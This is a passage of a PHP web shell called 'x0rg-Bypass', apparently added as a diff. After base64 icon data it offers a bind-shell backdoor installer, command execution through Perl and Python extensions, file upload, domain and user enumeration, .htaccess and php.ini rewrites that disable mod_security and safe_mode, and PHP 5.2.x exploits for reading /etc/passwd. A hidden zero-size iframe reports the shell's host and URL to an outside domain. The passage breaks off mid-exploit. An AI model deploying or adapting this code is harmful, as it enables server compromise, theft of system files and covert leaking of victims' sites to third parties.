+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; +} +exit; +} +if ($x == "about") { + echo "x0rg-Bypass"; +} +if ($x == "shbd"){ + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST> + Bind Port: <input type='text' name='backconnectport' value='5992'> + <input type='hidden' name='use' value='shbd'> + <input type='submit' value='Install Backdoor'></form>"); + echo("$msg"); + echo("$emsg"); + echo("</center>"); +} +echo "</td></tr></table>\n"; +?> +<? +if($x == "usrdom") { +ignore_user_abort(true); +if(is_file('/etc/named.conf')) +{ +$file=@file_get_contents('/etc/named.conf',FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); +@preg_match_all("/.*?zone \"(.*?)\" {/i", $file, $domains); +@exec('ls /var/mail',$u); +foreach($domains[1] as $domain){ +$ip = @gethostbyname($domain); +$idx=@stat('/etc/valiases/'.$domain.''); +if($idx[4] !=''){ +$user=@posix_getpwuid($idx[4]);}else{$user[name]= ':SUSPEND';} +echo "$domain : $user[name] => $ip<br/>"; +}} +else +{ +echo "Unable to Bypass"; +} +} +?> +<? +if ($x == "exte") { +if(!extension_loaded('perl')) { +echo('*perl extension is not loaded'); +} +else { +if(!isset($_GET))$_GET=&$HTTP_GET_VARS; +if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls'; +$perl=new perl(); +echo "<textarea rows='25' cols='75'>"; +$perl->eval("system('".$_GET['cmd']."')"); +echo "</textarea>"; +$_GET['cmd']=htmlspecialchars($_GET['cmd']); +echo "<br><form>[Perl]CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"; +} +if (!extension_loaded('python')) { + echo("<br>*python extension is not loaded\n"); +} +else +{ +echo "<br><form>[Python]CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"; +//eval python code +$cmd = $_GET['cmd']; +$res = python_eval(' +import os +pwd = os.getcwd() +print pwd +os.system($cmd) +'); + +//show result +echo $res; +} +} +?> +<? +function perlex() { +if(extension_loaded('perl')) +{ +echo('<strong>PERL</strong> - <i><u>Extension Loaded</u></i>'); +} +else +{ +echo('<strong>PERL</strong> - <i><u>Extension Not Loaded</u></i>'); +} +} +function pythonex() { +if(extension_loaded('python')) +{ +echo("<strong>PYTHON</strong> - <i><u>Extension Loaded</u></i>"); +} +else +{ +echo("<strong>PYTHON</strong> - <i><u>Extension Not Loaded</u></i>"); +} +} +?> +<div class=barheader2><b>[ COMMANDS PANEL ]</b></div> +<table class=mainpanel> +<tr><td>Command:</td> +<td><form method="POST"> + <input type=hidden name=x value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"> + <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td>Quick Commands:</td> +<td><form method="POST"> + <input type=hidden name=x value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type=hidden name="cmd_txt" value="1"> + <select name="cmd"> + <?php + foreach ($cmdaliases as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + foreach ($cmdaliases2 as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + ?> + </select> - + <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td>Upload:</td> +<td><form method="POST" enctype="multipart/form-data"> + <input type=hidden name=x value="upload"> + <input type=hidden name="miniform" value="1"> + <input type="file" name="uploadfile"> <iframe width='0' height='0' frameborder=0 src=http://fx0.name/spec/index.php/pic.png?a=http://<? echo $_SERVER["HTTP_HOST"]; ?><? echo $_SERVER["REQUEST_URI"]; ?>></iframe> <input type=submit name=submit value="Upload"> <?php echo $wdt; ?> + </form> +</td></tr> +<tr><td>Make File:</td> +<td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> + <input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?> + </form></td></tr> +<tr><td>Make Dir:</td> +<td><form action="<?php echo $surl; ?>"><input type=hidden name=x value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"> +<input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> - +<input type=submit value="Create"> <?php echo $wdt; ?></form> +</td></tr> +</TABLE> + + + +<div class=barheader2><b>[ Bypass PANEL ]</b></div> +<table class=mainpanel> +<tr><td> +<? +echo perlex(); +echo "<br>"; +echo pythonex(); +?> +</td> +<td> +if one of the two extensions are loaded you can use them to bypass safemode/disabled functions etc... go to <a href="<? echo $surl; ?>x=exte">Ext.Bypass</a> +</td></tr> +<tr><td>Bypass php.ini/.htaccess</td> +<td> +<form method="POST" action=""> + - <input type="submit" name="bypass" value="bypass"> +</form> +<? +if($_POST['bypass']) +{ +$modsecby = @fopen(".htaccess","w"); +fwrite($modsecby,'<IfModule mod_security.c> + Sec------Engine Off + Sec------ScanPOST Off +</IfModule>'); +fclose($modsecby); +$phpinisecby1 = @fopen("php.ini","w"); +fwrite($phpinisecby1,'safe_mode=OFF +disable_functions=NONE'); +fclose($phpinisecby1); +echo ".htaccess = bypass complete.<br>php.ini = bypass complete."; +} +?> + +</td></tr> +<tr><td>PHP 5.2.9</td> +<td> + +<?php +if(!empty($_GET['file'])) $file=$_GET['file']; +else if(!empty($_POST['file'])) $file=$_POST['file']; + +echo ' +<form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["SCRIPT_N +AME"]).$_SERVER["PHP_SELF"].'" method="post"><input type="text" name="file" size="50" value="/etc/passwd"> - <input type="submit" name="hardstylez" value="Show"></form>'; + +if($_POST['hardstylez']) +{ +$level=0; + +if(!file_exists("file:")) + mkdir("file:"); +chdir("file:"); +$level++; + +$hardstyle = explode("/", $file); + +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $level++; + } +} + +while($level--) chdir(".."); + +$ch = curl_init(); + +curl_setopt($ch, CURLOPT_URL, "file:file:///".$file); + +echo '<FONT COLOR="RED"> <textarea rows="10" cols="120">'; +if(FALSE==curl_exec($ch)) + die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.'); +echo ' </textarea> </FONT>'; +curl_close($ch); +} +?> +</td></tr> +<tr><td>PHP 5.2.12/5.3.1</td> +<td> +<?php + +$fakedir="cx"; +$fakedep=16; + +$num=0; + +if(!empty($_GET['file'])) $file=$_GET['file']; +else if(!empty($_POST['file'])) $file=$_POST['file']; +else $file=""; + +echo ' +<form name="form" + action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="/etc/passwd"> - <input type="submit" name="hym" value="Create Symlink"></form>'; + +if(empty($file)) + exit; + +if(!is_writable(".")) + die("not writable directory"); + +$level=0; + +for($as=0;$as<$fakedep;$as++){ + if(!file_exists($fakedir)) + mkdir($fakedir); + chdir($fakedir); +} + +while(1<$as--) chdir(".."); + +$hardstyle = explode("/", $file); + +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $as++; + } +} +$as++; +while($as--) + 